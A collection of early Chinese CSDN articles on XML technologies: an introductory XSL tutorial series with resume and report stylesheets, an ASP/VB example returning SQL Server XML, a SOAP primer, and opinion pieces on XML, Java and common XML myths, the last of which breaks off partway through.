    XSL以包含了一套元素集的XML语法规范而定义，该语法规范将被用来把XML文件转换成HTML文件或XML文档。一个XSL样式表集合了一系列设计规则以用于将信息从XML文件中汲取出，并将其转换成HTML等其它格式。这种转换将采用一种公开的方式，使其更加容易方便地被程序员描述。而且XSL还将提供多种脚本语言的通道以满足更为复杂的应用需求，因此尽管XSL是一项新的标识语言，但程序员完全可以继续充分发挥其所熟练的HTML或脚本语言的优势。XSL凭借其可扩展性能够控制无穷无尽的标签,而控制每个标签的方式也是无穷尽的。这就给Web提供了高级的布局特性。例如旋转的文本、多列和独立区域。它支持国际书写格式,可以在一页上混合使用从左至右、从右至左和从上至下的书写格式。

    XSL能使Web浏览器直接根据用户的不同需求改变文档的表示法,例如数据的显示顺序改变,从而不需要再与服务器进行交互通信。通过变换样式表,同一个文档可以显示得更大，或者经过叠折只显示外面的一层,或者变为打印格式。可以设想一个适合用户学习特点的技术手册，它为初学者和更高一级的用户提供不同的样式,而所有的样式都是根据同样的文本产生的。

    正如XML介于HTML和SGML之间一样，XSL标准介于CSS和SGML的DSSSL(Document Style Semanticsand Specification Language,文档样式语义和规范语言)之间。DSSSL定义格式化对象的全特征模式。由于DSSSL使用框架语法,而且是很复杂的,所以DSSSL未能得到推广应用。XSL支持DSSSL流对象和CSS对象,并对复杂的任务提供进入脚本语言的通道,而且允许扩展。实现从CSS到XSL的映射是可能的,因而内容开发商无需学习这种语言的全部。

    作为一种技术预展,微软最近发布了两种XSL处理器:一个是可以从XML文档和XSL样式层产生HTML输出的命令行应用程序,另一个是一种ActiveX控件，用于在浏览器中显示XML。微软的这种XSL处理器适合在Windows95和WindowsNT环境下通过InternetExplorer4.0浏览器使用。

    IBM公司及其Lotus子公司日前发布了XSL的原型，这是一个能将XML格式转换成HTML或其它Web格式的转换引擎，现在已可在WWW.alphaworks.ibm.com免费下载。这个转换引擎称为LotusXSL，基于WWW联合会最新的XSL工作草案完成的。除了能将XML文档转换成HTML外，XSL还能将XML转换为PGML（Precision Graphics Markup Language精确图形描述语言）。如果电子商务中用XML表示产品数据，用户可以使用XSL定义网站中数据的格式以及信息图形显示方式等。LotusXSL打包成一个JavaBean。用户可用LotusXSL创建样单，定义转换方式，就可将文档转换为相应的格式，供浏览器显示。


csdn_跟我学XSL（一）

  跟我学XSL（一）
作者： 禹希初
第一个XML文档

    随着Internet的发展，越来越多的信息进入互联网，信息的交换、检索、保存及再利用等迫切的需求使HTML这种最常用的标记语言已越来越捉襟见肘。HTML将数据内容与表现融为一体，可修改性、数据可检索性差，而XML借鉴了HTML与数据库、程序语言的优点，将内容与表现分开，不仅使检索更为方便，更主要的是用户之间数据的交换更加方便，可重用性更强。

    XML是一种元标记语言，没有许多固定的标记，为WEB开发人员提供了更大的灵活性。当我们使用HTML时，标记只是简单的表示内容的显示形式，而与表示的内容没有任何关联，为文档的进一步处理带来极大的不便。比如要表示个人简历，用HTML的表示方式如下：

< HTML >

< BODY >

< TABLE border=1 cellspacing=0 >

< TH >姓名< TD >禹希初< TH >性别< TD >男< TH >生日< TD >1977.5

< TR >

< TH >技能< TD colspan=5 >数据库设计与维护、WEB开发

< /TABLE >

< /BODY >

< /HTML >

    在这里，我们无法从标记TH、TD得知其内容表示什么，如果用XML，相应的文档（文件名：个人简历.xml）就可写成如下形式：

< ?xml version="1.0" encoding="GB2312"? >

< resume >

< name >禹希初< /name >

< sex >男< /sex >

< birthday >1977.5< /birthday >

< skill >数据库设计与维护、WEB开发< /skill >

< /resume >

说明：

    version──规定了XML文档的版本，此处只能是1.0；

    encoding── 此处规定了XML文档的编码类型，此处取值为“GB2312”，也就是“简体中文”。

    对比两例，使用XML我们可以做到自定义标记，用标记表明内容的含义。这样在Internet上交流资料时，为用计算机处理文档提供了极大的方便，同时我们阅读源文件时也不会被一大堆格式弄得晕头转向。

    然而，由于XML并没有为标记规定显示方式，如果我们在游览器中查看以上两个文档（建议使用IE5.0或更新版本），我们将看到xml文档并没有以诸如表格的方式来显示。难道我们就不能像HTML一样显示文档吗？回答是否定的。以个人简历为例，需要另建一个格式文件说明各个标记的显示方式，其内容如下（假设文件名为resume.css）：

resume{ display: block;}

name{ display: block; font-size:120%;}

sex{ display:block; text-indent:2em}

birthday{ display:block; text-indent:2em}

skill{ display:block; text-indent:2em}

说明：

    以上均为CSS样式，建议读者参考有关资料熟悉CSS，在以后学习中必须用到，此处由于篇幅关系不作介绍。建立文件resume.css后，在个人简历.xml文件的第一行后添加以下文字：

< ?xml:stylesheet type="text/css" href="resume.css"? >

说明：

    此处表示引用一个外部CSS样式文件，其中type规定样式类型（可取值为text/css或text/xsl），href规定文件路径。

    保存文件，再以IE5.0打开文件。怎么样？格式有些不一样吧。好象还不令人满意，文档内容是清晰了，但显示效果比HTML编写的文档就差得多了，XML编写的文档就只能以这种方式显示吗？！

提示：

    1. 为了更好的理解与掌握XML，建议大家熟悉HTML 4.0与CSS 2.0语法；掌握JavaScript、VBscript中至少一种；编程经验、对数据库理论与SQL的了解均能使大家在学习XML时获益。

    2. XML文档中标记必须成对出现，如果是空标记也必须有前加“/”的同名标记结束，或使用此种文式< xml_mark/ >表示空标记。

    3. XML以及下周将要介绍的XSL文档，属性值必须用双引号（"）或单引号（'）括起来。

    4. XML文档必须是好结构的（XSL文档也是XML文档中一种），也就是说标记必须有结束标记、标记可以嵌套但不可交叉，如

< outer >< inner >< /inner >< inner/ >< /outer >

是合法的，而下面的形式

< outer >< inner >< /outer >< /inner >

则是错误的。如果XML文档在浏览时出错，多半是违反了上面提到的规则。


csdn_跟我学XSL（二）

  跟我学XSL（二）
作者： 禹希初
XSL入门

    上期我们讲到用CSS（层叠样式表）来格式化XML文档，其效果并不很令人满意。实际上CSS用来格式化HTML标记比较合适些，只是因为它简单才在上例中采用。
    XML在更多的时候只是一种数据文件，怎样将它变为我们日常所看到的HTML格式那样的文件呢？如果我们将XML文件比作结构化的原料的话，那么XSL就好比“筛子“与“模子“，筛子选取自己需要的原料，这些原料再通过模子形成最终的产品：HTML。
    这个模子大致是这样：我们先设计好表现的页面，再将其中需要从XML中获取数据来填充内容的部分“挖掉“，然后用XSL语句从XML中筛出相关的数据来填充。一言以譬之：这XSL实际上就是HTML的一个“壳子“，XML数据利用这个“壳“来生成“传统“的HTML。
    XML在展开时是一个树形结构，我们将树形结构中自定义标记称为节点，节点之间存在父子、兄弟关系，我们要访问其中的结点从根结点就要以”／”来层层进入。
    在XSL这个壳中，我们要从原料库？？XML里提取相关的数据，就要用到XSL提供的模式化查询语言。所谓模式化查询语言，就是通过相关的模式匹配规则表达式从XML里提取数据的特定语句，即我们上所说的“筛子“。

参考微软的”XSL开发者指南”，我们大致可将模式语言分为三种：

选择模式
< xsl:for-each >、< xsl:value-of >,和 < xsl:apply-templates >

测试模式
< xsl:if > 和< xsl:when >

匹配模式
< xsl:template >
我们现在就分别对之进行介绍。
一、 选择模式
    选择模式语句将数据从XML中提取出来，是一种简单获得数据的方法，这几个标记都有一个select属性，选取XML中特定的结点名的数据。
1、< xsl:for-each >
如在XML中有这样的数据:
< author >
< name >小禹< /name >
< name >春华< /name >
< name >秋实< /name >
< /author >
    我们要读取这三个作者名字，是一个一个地按”author/name”方法来读取吗，可有多个这样的name呀？如果有一种程序性的语句来循环读取有多好啊！
    想得很对，XSL提供了这样的具有程序语言性质的语句< XSL:for-each >
    用它读取这三个作者名字的方法如下:
< xsl:for-each select=”author/name” >
…….
< ./xsl:for-each >
select，顾名思义：选取，它可以选定XML中特定唯一的标记，也可以选择某一类相同的标记，我们称之为结点集。
语法：
< xsl:for-each select="pattern" order-by="sort-criteria-list">
属性：
1. select
    根据XSL样式查询考察上下文以决定哪类结点集（满足select条件）使用此样式描述。作为一种简化的表示就是，如果你想对文档中的某一种标记的内容的显示方式进行格式化，就可以将让select等于此元素的标记名。例如欲对标记xml_mark进行格式化，即可用如下方式表示：
< xsl:for-each select="xml_mark" >
< !--样式定义-- >
< /xsl:for-each >
2. order-by
    以分号（;）分隔、作为排序标准的列表。在列表元素前添加加号（+）表示按此标记的内容以升序排序，添加减号（-）表示逆序排序。作为一种简化的表示就是，排序标准列表就是由select规定的标记的子标记的序列，每个标记之间以（;）分隔。

2、< xsl:value-of >
< xsl:for-each >模式只是选取节点，并没有取出节点的值，好比猴子只是爬到了树的某个枝干上，那么就用< xsl:value-of >来摘“胜利果实“吧！
语法：
< xsl:value-of select="pattern" >提取节点的值
属性：
select用来与当前上下文匹配的XSL式样。简单的讲，如果要在XSL文档某处插入某个XML标记（假定是xml_mark标记）的内容，可用如下方式表示：
< xsl:value-of select="xml_mark" >< /xsl:value-of >
或
< xsl:value-of select="xml_mark"/ >
示例：
    此处仍以上期的个人简历的作为例子，我们需要对文件（个人简历.xml）作一定修改，确切的说是将其中的第二行
< ?xml:stylesheet type="text/css" href="resume.css"? >
修改为
< ?xml:stylesheet type="text/xsl" href="resume.xsl"? >
然后建立一个新文件：resume.xsl，其内容如下：
< ?xml version="1.0" encoding="GB2312"? >
< HTML xmlns:xsl="http://www.w3.org/TR/WD-xsl" >
< HEAD >
< TITLE >个人简历< /TITLE >
< /HEAD >< BODY >
< xsl:for-each select="resume" >
< P/ >
< TABLE border="1" cellspacing="0" >
< CAPTION style="font-size: 150%; font-weight: bold" >
个人简历
< /CAPTION >
< TR >
< TH >姓名< /TH >< TD >< xsl:value-of select="name"/ >< /TD >
< TH >性别< /TH >< TD >< xsl:value-of select="sex"/ >< /TD >
< TH >生日< /TH >< TD >< xsl:value-of select="birthday"/ >< /TD >
< /TR >
< TR >
< TH >技能< /TH >< TD colspan="5" >< xsl:value-of select="skill"/ >< /TD >
< /TR >
< /TABLE >
< /xsl:for-each >
< /BODY >
< /HTML >
    完成这些以后再来让我们看一下辛勤劳动的成果，怎么样？效果不错吧。更酷还在后头呢。现在我们对文件（个人简历.xml）作进一步的修改：
1. 在标记< resume >前添加一个新标记< document >；
2. 将标记对< resume >< /resume >之间的内容（包括这一对标记）复制并粘贴在其后，并在最后用< document >结束。
3. 以Notepad.exe打开文件resume.xsl，在标记< HTML >之后添加文字：< xsl:for-each select="document" >；在标记< /HTML >之前添加文字：< /xsl:for-each >，保存文件。
4. 在浏览器中打开文件（个人简历.xml）。看到了什么？两份个人简历！
    就这样，利用XML我们可以编写内容与样式完成分离的文档！当然，XSL文件比一般的HTML文件要复杂一些，然而一旦完成则可用于格式化所有同类的XML文档。

注：如果拷贝代码，请将空格删除


csdn_跟我学XSL（三）

  跟我学XSL（三）
作者： 禹希初
XSL模板与匹配模式

    经过前几日的学习，我们学习了XHTML文档的编写和以及三个XSL元素，已能编写相当灵活的XSL文档，今天将学习的是XSL模板的编写。我们都知道，短的文档、程序十分好读，但当规模增大后，其复杂性也以更快的速度增加。

    前面我们学了< xsl:for-each >、< xsl:value-of >等，可以用它们对XML数据实现简单的格式化输出，但如果遇到比较复杂的XML格式输出，将XSL按照要求依次写下来的话，一是设计困难，可扩展性差，不利于人员之间的分工协作；另则，可修改性很差，可能会出现牵一发而动全军的情况，不利于维护。程序中模块化设计逐步细化的方法在这里得到了应用！

    XSL模板将XSL的设计细化成一个个模板（块），最后再将这些模板（块）组合成一个完整的XSL；好比船与集装箱，我们不是将所有的货物一件件地堆起来，而是装在各自的集装箱中，然后再在船上将这些集装箱堆放起来。这种方法可以使你先从整体上考虑整个XSL的设计，然后将一些表现形式细化成不同的模块，再具体设计这些模块，最后将它们整合在一起，这样，将宏观与微观结合起来，符合人们条理化、规范化要求。

装集装箱？？书写模板（块）：< xsl:template >

< xsl:template >
语法：
< xsl:template match="node-context" language="language-name" >

属性：

match ── 确定什么样的情况下执行此模板。作为一种简化的说明，在此处使用标记的名字；其中最上层模板必须将match设为“/”

language ── 确定在此模板中执行什么脚本语言，其取值与HTML中的SCRIPT标记的LANGUAGE属性的取值相同，缺省值是Jscript

< xsl:template >用match属性从XML选取满足条件的节点，征对这些特定的节点形成一个特定输出形式的模板。

吊集装箱上船-？？调用模板（块）：< xsl:apply-templates >

< xsl:apply-templates >

语法：

< xsl:apply-templates select="pattern" order-by="sort-criteria-list" >

属性：

select ── 确定在此上下文环境中应执行什么模板，即选取用< xsl:template >标记建立的模板（块）。

order-by ── 以分号（;）分隔的排序标准，通常是子标记的序列

示例：

    以个人简历为例，为便于处理我们希望“技能”中每一项都用标记对< skill >< /skill >括起来，有多少项技能就有多少个这种标记对，经过修改后的个人简历XML文档内容如下：

< ?xml version="1.0" encoding="GB2312"? >
< ?xml:stylesheet type="text/xsl" href="resume_template.xsl"? >
< document >
< resume >
< name >禹希初< /name >
< sex >男< /sex >
< birthday >1977.5< /birthday >
< skill >数据库设计与维护< /skill >
< skill >WEB开发< /skill >
< /resume >
< /document >
    然后，建立一个新XSL文件resume_template.xsl，采用模板的形式，其内容如下：
< ?xml version="1.0" encoding="GB2312"? >
< xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl" >
< !--根模板-- >
< xsl:template match="/" >
< HTML >< HEAD >< TITLE >个人简历< /TITLE >< /HEAD >
< BODY >
< xsl:apply-templates select="document/resume"/ >
< /BODY >
< /HTML >
< /xsl:template >
< !--简历模板-- >
< xsl:template match="resume" >
< TABLE border="1" cellspacing="0" >
< CAPTION >个人简历（
< xsl:eval >formatIndex(childNumber(this), "I")< /xsl:eval >
）< /CAPTION >
< xsl:apply-templates select="name" / >
< xsl:apply-templates select="sex" / >
< xsl:apply-templates select="birthday" / >
< TR/ >
< TD >技能< /TD >< TD COLSPAN="5" >
< TABLE cellspacing="0" >
< xsl:apply-templates select="skill"/ >
< /TABLE >
< /TD >
< /TABLE >
< BR/ >
< /xsl:template >
< !--姓名模板-- >
< xsl:template match="name" >< TD >姓名< /TD >
< TD >< xsl:value-of/ >< /TD >
< /xsl:template >
< !--性别模板-- >
< xsl:template match="sex" >< TD >性别< /TD >
< TD >< xsl:value-of/ >< /TD >
< /xsl:template >
< !--生日模板-- >
< xsl:template match="birthday" >< TD >生日< /TD >
< TD >< xsl:value-of/ >< /TD >
< /xsl:template >
< !--技能模板-- >
< xsl:template match="skill" >
< TR >< TD >< xsl:value-of/ >< /TD >< /TR >
< /xsl:template >
< /xsl:stylesheet >
    保存文件，打开文件（个人简历.xml），效果令人满意吧。其实要做到同样的效果，用前面三周介绍的方法也可做，但你得把它作为一整体考虑。
    在上面的XSL文件中，我们将性别、生日、技能等数据项分别用模板来单独写，再用< xsl:apply-template >来调用，这样，即使你日后要对这些模板作相应的修改与扩充也很方便，不致于出现互相干扰、混杂不清的情况。这种从上至下、逐层细化的设计方法，极大地减少工作复杂程度，也大大减少了差错的产生，可以实现多人的协作设计。

注意：
    如果XML文档中不同标记有同名的子标记，在为其编写模板时，应把父标记作为其前缀，格式为（parent_mark/child_mark）。
    模板文件必须有一个根模板，其属性match是“/”。


csdn_跟我学XSL（四）

  跟我学XSL（四）
作者： 禹希初
测试模式

    XML技术的优势之一就在于数据输出的可选择性，即选择需要的数据输出。前面我们所讲到的选择模式语句:<xsl:for-each>、<xsl:value-of>及<xsl:apply-template>只是简单的选取通过”/”符号层层到达的节点，如果我们对XML数据不需要全部输出，而只需要其中的满足某条件的部分数据，“萝卜青菜、各取所需“，那么条件判断<xsl:if>与多条件判断<xsl:choose>及<xsl:when>则迎合了这种需要，如果你对程序设计熟悉的话，会觉得它们似曾相识。

    XSL中的IF，首先，介绍XSL元素<xsl:if>的语法结构：

<xsl:if>

语法：

<xsl:if expr="script-expression" language="language-name" test="pattern">

属性：

    expr ──脚本语言表达式，计算结果为“真”或“假”；如果结果为“真”，且通过test，则在输出中显示其中内容（可省略此项属性）。

    language ──expr属性中表达式的脚本语言类型，其取值与HTML标记SCRIPT的LANGUAGE属性的取值相同，缺省为“JScript”test ──源数据测试条件。

示例：

此处以一份报表为例，文件名为report.xml，其内容如下：

<?xml version="1.0" encoding="GB2312"?>

<?xml:stylesheet type="text/xsl" href="report.xsl"?>

<document>

<report>

<class>

甲班

</class><q1>50</q1><q2>70</q2>

<q3>30</q3><q4>10</q4></report>

<report><class>

乙班

</class><q1>20</q1><q2>30</q2>

<q3>40</q3><q4>50</q4></report>

<report><class>

丙班

</class><q1>70</q1><q2>40</q2>

<q3>20</q3><q4>10</q4></report>

</document>

    我们采用XSL模板结合今天所学的<xsl:if>，为其编写一个XSL文档，要求季度产量小于等于20的用红色表示，文件名为report.xsl，内容如下：

<?xml version="1.0" encoding="GB2312"?>

<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

<xsl:template match="/">

<HTML><HEAD><TITLE>1999年生产统计</TITLE></HEAD>

<BODY><xsl:apply-templates select="document ;"/></BODY>

</HTML>

</xsl:template>

<xsl:template match="document">

<H3>1999年生产统计</H3>

<TABLE　border="1" cellspacing="0">

<TH>班组</TH><TH>

一季度

</TH><TH>

二季度

</TH>

<TH>

三季度

</TH><TH>

四季度

</TH>

<xsl:apply-templates select="report"/>

</TABLE>

</xsl:template>

<xsl:template match="report">

<TR>

<TD><xsl:value-of select="class"/></TD>

<TD><xsl:apply-templates select="q1"/></TD>

<TD><xsl:apply-templates select="q2"/></TD>

<TD><xsl:apply-templates select="q3"/></TD>

<TD><xsl:apply-templates select="q4"/></TD>

</TR>

</xsl:template>

<xsl:template match="q1|q2|q3|q4">

<!--此处测试产量，如小于等于20则添加一STYLE属性color，其值为red（红色）-->

<xsl:if test=".[value() $le$ 20]">

<xsl:attribute name="style">color:red</xsl:attribute>

</xsl:if>

<xsl:value-of/>

</xsl:template>

</xsl:stylesheet>

说明：

q1|q2|q3|q4 ──标记q1、q2、q3、q3均用此模板确定输出

$le$ ──是关系运算符中的“小于等于”，其它关系有小于（$lt$）、大于（$gt$）、大于等于（$ge$）、等于（$eq$）、不等于（$ne$）等

. ──表示引用当前标记

[ ] ──表示筛选，只有满足筛选条件的标记才能被选取

value() ──XSL函数，其他常用XSL函数有text()、end()、index()等。

    下期，我们将学习XSL的另外三个元素，可对同一数据进行多次测试，根据不同条件产生相应输出。


csdn_XML 和Java – 是敌还是友？

  XML 和Java – 是敌还是友？
作者： 孙一中
XML在许多方面增强了Java;然而，XML也发展了一种对象传输协议，该协议与Java声称的跨平台性格格不入。XML将基于网络的信息置标化，使得开发者和电脑易于辨认。这是有必要的，因为HTML除了隐藏的URL外缺少有效的途径来说明内容的含义。XML的目标就为网络的对象添加那些含义，而这曾经就是Java的任务之一。

"XML让开发者能够在建立网络应用和Java系统之间选择."
-- Adam Berrey, Allaire产品市场部主任

现在开发先进的网络应用的所有需要仅一台客户机(Client)而已。它获取XML信息后直接提交给客户端浏览器。因此，基于Java虚拟机(JVM)的客户机不再是唯一的选择。

" XML将最终消除在客户端建立Java虚拟机的必要."
-- Doug Pollack, GemStone Systems市场部副总裁

推动Java的Sun公司承认没有Java虚拟机XML也能与客户端通讯，但是它认为XML需要Java来发挥它的潜力.

"XML不能单独使用;它是对Java的完善.Java为XML提供易于使用的代码,XML为Java提供数据."
-- Nancy Lee, Sun 公司XML 产品经理.

XML能创建不依赖于平台、语言或限制性格式化协定的开放数据。如果广泛地被采用, XML能变成为内容以及下至客户端对象通讯的广泛标准。这似乎十分类似Java,至少作为内容平台. 正是XML这样一种角色吸引了一向鄙弃Java的微软公司。

"XML能在不同平台间交换信息，它不会与跨平台的应用程序混淆不清."
-- Dave Wascha, 微软公司XML产品经理

但从许多方面来讲，这并不是选择Java还是XML这回事。许多网络开发者得出结论：XML和Java是完美的一对，因为彼此十分相辅相成。XML有助于独立平台、易提取信息的文档和数据. Java有助于独立平台、易于处理的面向对象的应用软件解决方案.

能驱动XML广泛接受的应用是在HTML的限制下难以实现的那些应用。可分为下列的四大类:

需要网络客户端协调多种不同类型数据库的应用；

力图将比例可观的处理工作从服务器端分布于客户端的应用；

要求客户端将同一数据以不同的形式展现给不同的使用者的应用；

智能网络代理应个别用户的需要搜索定制信息的应用。

"我们正在利用XML和 Java进行开发，两者真是完美的补充 !"
-- David Skok, SilverStream软件公司主席和创始人

"缺少XML的Java战略是不全面的."
-- Eric Brown, 剑桥大学Forrester研究中心分析研究员

这很符合IBM（同时支持XML和Java发展的强大后盾）似乎在考虑的想法。

"XML和 Java是并行和共生的.在新的千年里,两者都将是计算处理的关键技术."
-- Simon Phipps, IBM 公司XML和Java市场发展负责人

--------------------------------------------------------------------------------


csdn_使用 xsl 对 xml 文档进行动态排序，分页显示的扩展

使用 xsl 对 xml 文档进行动态排序，分页显示的扩展
作者： kw
在 http://www.asptoday.com/articles/20000724.htm 有非常好的例子，是关于
使用 xsl 对 xml 文档进行动态排序，分页显示的。
主要使用三个文件：
default.asp 把 xml, xsl 文件串起来
getxml.asp 对 default 来说相当于 xml
sample.xsl 主要的格式编排工作在这里做
===================================================
我们可以再进一步拓展这个巨酷的例子：
1。把 getxml.asp 写好。但我们的真正工作不在 asp 里做。我们用 vb。
这样一会我们就可以把这个贴子一稿多投到 VB 论坛。
形如：
<%@ Language=VBScript %>
<SCRIPT LANGUAGE=vbscript RUNAT=Server>
Dim oMyTool
Dim sXML
Set oMyTool = Server.CreateObject("MyPackage.MyComponent")
sXML = oMyTool.GetData()

Response.ContentType="text/xml"
Response.Write sXML

set oMyTool = nothing
</SCRIPT>

2。 在 VB 中我们使用 SQL 2000 的 for XML 来得到所需的 XML String。
Public Function GetData() As Variant

Dim oConn As ADODB.Connection
Dim oCmd As Command
Dim oRS As ADODB.Recordset
Dim myStream As ADODB.Stream
'Dim strConn As String
Dim strXML As String

Set oConn = New ADODB.Connection
oConn.Open (GetConnectionString)

Set oCmd = New ADODB.Command
oCmd.ActiveConnection = oConn

Set myStream = New ADODB.Stream
myStream.Open

oCmd.Properties("Output Stream") = myStream

oCmd.CommandText = "SELECT EmployeeID, LastName, FirstName, BirthDate, Notes " & _
"FROM Employees FOR XML auto"

oCmd.Execute , , adExecuteStream
myStream.Position = 0
strXML = myStream.ReadText
strXML = "<RET>" & strXML & "</RET>"

GetData = strXML

Set oCmd = Nothing
oConn.Close
Set oConn = Nothing

End Function
=============================
有两点要注意，一是 sql for xml auto 比较土，我们需要自己加上个 root。
二是我使用 GetConnectionString 获得 sql conn str 是因为把该 str
放在了 COM+ Construction string 里。这样一会我们就可以把这个贴子一稿多投到
COM 论坛和多层结构论坛，还有安全性论坛，当然还有 SQL 论坛。

我们只需要对 sample.xsl 稍作修改就可以显示我们的数据了。


csdn_SOAP ABC

SOAP ABC
作者： 何杭军
什么是SOAP?

SOAP 是一个基于XML的通信协议，在该协议下，软件组件和应用程序能够通过标准的HTTP协议通信。

谁起草了 SOAP?
SOAP 由UserLand, Ariba, Commerce One, Compaq, Developmentor, HP, IBM, IONA, Lotus, Microsoft, 和 SAP共同起草.
为什么SOAP?
在internet环境下应用开发的一个重要方面是：应用之间应该能够相互通信。传统的方法是在分布式对象比如：DCOM CORBA之间进行相互的远程过程调用，但在这种场合下HTTP协议毫无用武之地，因此在internet环境下的远程过程调用不是一件容易的事情，在internet上使用RPC还存在安全的问题，防火墙和代理服务器还很有可能阻塞这种类型的数据传输。
使用HTTP是一种很好的主意，因为HTTP协议得到了所有的浏览器和服务器的支持，SOAP的宗旨就在于发挥HTTP和XML优点，从而完成在应用之间的交互。

SOAP 1.1 和 W3C
起草SOAP的各个大公司在2000年5月份向W3C提交SOAP，目前SOAP是W3C的note。

SOAP方方面面:
SOAP 是一个轻量级的通讯协议（lightweight communication protocol ）
SOAP 用于应用和应用之间的通讯
使用SOAP的应用通过HTTP通讯
SOAP 独立于任何组件技术
SOAP 独立于编程语言
SOAP 基于XML
SOAP 简单并且具有良好的扩展性
SOAP 已向W3C提交
SOAP 有望成为W3C的标准

微软和 SOAP
SOAP是微软的WINDOWS DNA 2000体系结构中的关键技术。

SOAP 组成
一个 SOAP消息是一个普通的XML文档，该文档包含如下的元素：
SOAP envelope,定义消息的内容
SOAP header (可选), 包含头信息
SOAP body,包含所有的调用和会应信息

SOAP 的一个例子
<SOAP-ENV:Envelope>
<SOAP-ENV:Body>
<GetPrice>
<Item>Apples</Item>
</GetPrice>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

上面的例子是一个简单的XML文档，要求得到苹果的价格信息。

SOAP 名域
SOAP envelope元素的缺省名域：
http://schemas.xmlsoap.org/soap/envelope/
SOAP encoding and data types的缺省名域：
http://schemas.xmlsoap.org/soap/encoding/

部分重要的语法规则
SOAP消息必须用XML编码
SOAP消息必须有一个 SOAP Envelope
SOAP消息可以又一个SOAP header
SOAP消息必须有一个SOAP Body
SOAP消息必须使用SOAP Envelope 名域
SOAP消息必须使用 SOAP Encoding 名域
SOAP消息 不能包含DTD引用
SOAP消息不能有XML处理指令

以下是一个SOAP的例子，该SOAP消息被封装在一个HTTP请求中，GetStockPrice请求被发送到server。该请求具有一个 StockName参数，返回一个相应的StockPrice。请注意这里的自定义名域，该名域规定了特殊的元素所对应的服务，只有这样通信的双方才能理解对方的要求。

<SOAP-ENV:Envelope>
<SOAP-ENV:Body>
<xmlns:m="http://www.stock.org/stock" />
<m:GetStockPrice>
<StockName>IBM</StockName>
</m:GetStockPrice>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

封装在HTTP中的SOAP应答

<SOAP-ENV:Envelope>
<SOAP-ENV:Body>
<xmlns:m="http://www.stock.org/stock" />
<m:GetStockPriceResponse>
<Price>34.5</Price>
</m:GetStockPriceResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

SOAP的出错信息
SOAP的出错信息必须包含在Fault元素当中，而Fault元素如果出现，只能在body元素中出现，并只出现一次。
它的子元素如下表：

Sub Element Description
<faultcode> A code identifying the error
<faultstring> The error as a string
<faultactor> Who caused the error
<detail> Specific error information


csdn_关于 XML 的十种观点

关于 XML 的十种观点
作者： 重粒子
在计算机信息技术中，少有象类似 XML 那样的技术，她让人们产生范围很大的联想，而这些联想及其应用又可能相距甚远。她也更多引起人们对 XML 彼此不同的理解与认识，当然也包括误解。她什么也是，但又什么都不是，正所谓“雾里看花”，而这也正是她的魅力所在。一百个人可能会产生一百种观点，这里整理其中的十类观点，可能有助于您对 XML 的认识与应用。

1.XML 是文本化的小型数据库表达语言。可以对其进行 LOAD/SAVE, INSERT/REMOVE/UPDATE, SELECT 等操作；甚至可以把 XML 应用成为一个中间层的虚拟数据库。

2.XML 是客户端计算的数据结构载体。通过联合使用 JavaScript/DHTML 技术实现客户端的小型信息过滤、查询、计算与通讯应用。

3.XML 是信息的高层封装与运输的标准。据此 XML 也是不同应用系统之间的数据接口标准，是所有信息的中间层表示；是中间层应用服务器(AS)的通用数据接口。甚至可以用于数据仓库技术的数据迁移过程、数据库报告格式中。

4.XML 是 HTML 的高层扩展。HTML 面向文本、信息发布，HTML 容许混乱；XML 面向数据、数据处理，XML 要求工整(well-formed)合法(Valid)；用户可用 XML 创建自己的 HTML。

5.XML 是信息的对象化语言。DTD/Schema 是界面或类 INTERFACE/CLASS，XML 是对象实例 OBJECT，XSL 是方法定义 IMPLEMENT/METHOD，XML-Data 解决了 XML 类的继承问题。而 XML 中的资源(URI)寻址(URL)、物理实体等又构成了信息的组件 Compoent。XML 的 RDF 是信息导航、浏览、搜索的用户接口 UI 标准。

6.XML 是不同数据结构体的文本化描述语言。它可以描述线性表、树、图形等数据结构，也能描述文件化的外部数据结构。甚至可以制造类似 XML 的 Compiler，可使文档在文本与二进制文件间互相转换，XML-Data 中严格定义了 XML 中数据的物理类型。也可以说 XML 是一种通用的数据结构。

7.XML 是行业 HTML 扩展标记的定义语言。XML 与 HTML 结合描述行业的专用信息文档，如 CDF, CML, MathML, SMIL 等。

8.XML 是在因特网时代与 Java、CORBA 等量齐观的一个概念。Java 解决了语言实施的同一，CORBA 解决了通讯协议的同一，XML 解决了信息表示、关联的同一；OO 面向对象是这三者的共同理论基础。万维网接口定义语言 WIDL 就是 XML 与 IDL 技术结合的产物。

9.XML 是国际标准化组织的标准通用标记语言 SGML 的子集。SGML 面向诸于飞机设计文档的大规模、长生命周期的信息储存，XML 则面向短期的临时数据处理、面向万维网络；二者是相互补充的关系。

10.XML 是巴斯克范式 BNF 的语言化、标准化、电子化。元素是其基本构成单位。


csdn_关于XML的四个神话

关于XML的四个神话
作者： Jon
当XML被W3C批准后迅速在1998年2月进入历史舞台，被称为"当年突然涌现的技术"。它被称为HTML的继任者，还被有些人称为结构化数据交换的未来混合语。

由于XML是从它W3C开始的阴暗处涌现出来的，也许不可避免地，这一新数据格式将象它吸引狂热爱好者一样快地开始产生错误概念。在本专栏中，我将在一些关于XML的神话成为永久性错误理解前澄清它们。

神话1：XML是由微软领导的共同成果

XML是一个共同成果，但不是微软的。实际上，XML是由一个Sun微系统公司组织的标记语言专家小组提出的，以开发历史悠久的ISO标准SGML用于Web的一种形式。

微软确实是XML工作中的一个主要参与者，但是其它一些大公司也是如此（Sun，惠普，Netscape, Adobe和富士及施乐），还有主要的SGML厂商和系统集成商（ArborText，Inso, SoftQuad，Grif，Texcel和Isogen），学术团体的代表（NCSA和Text Encoding Initiative），早期使用者（DataChannel 和Vignette），和世界上最主要的SGML专家之一James Clark，他是W3CSGML的技术领袖。
关于XML，令人惊异的是所有这些人和组织都将个人和公司议事日程放在一边，合作建立一个天生开放的标准，完全由用户需求驱动。这些需求包括：
l 可扩展性，以定义需要的新标记。

l 结构，以表示任意复杂程度的数据。

l 校验，以检查数据的结构正确性。

l 媒体无关性，以用多种格式发布内容。

l 厂商和平台中立，以用标准的商业软件甚至简单的文本工具处理任何满足标准的文档。

虽然我不得不钦佩微软对XML概念的熟练使用和推销，但是XML并不属于微软。XML属于世界。

神话2：XML是HTML的一个扩展

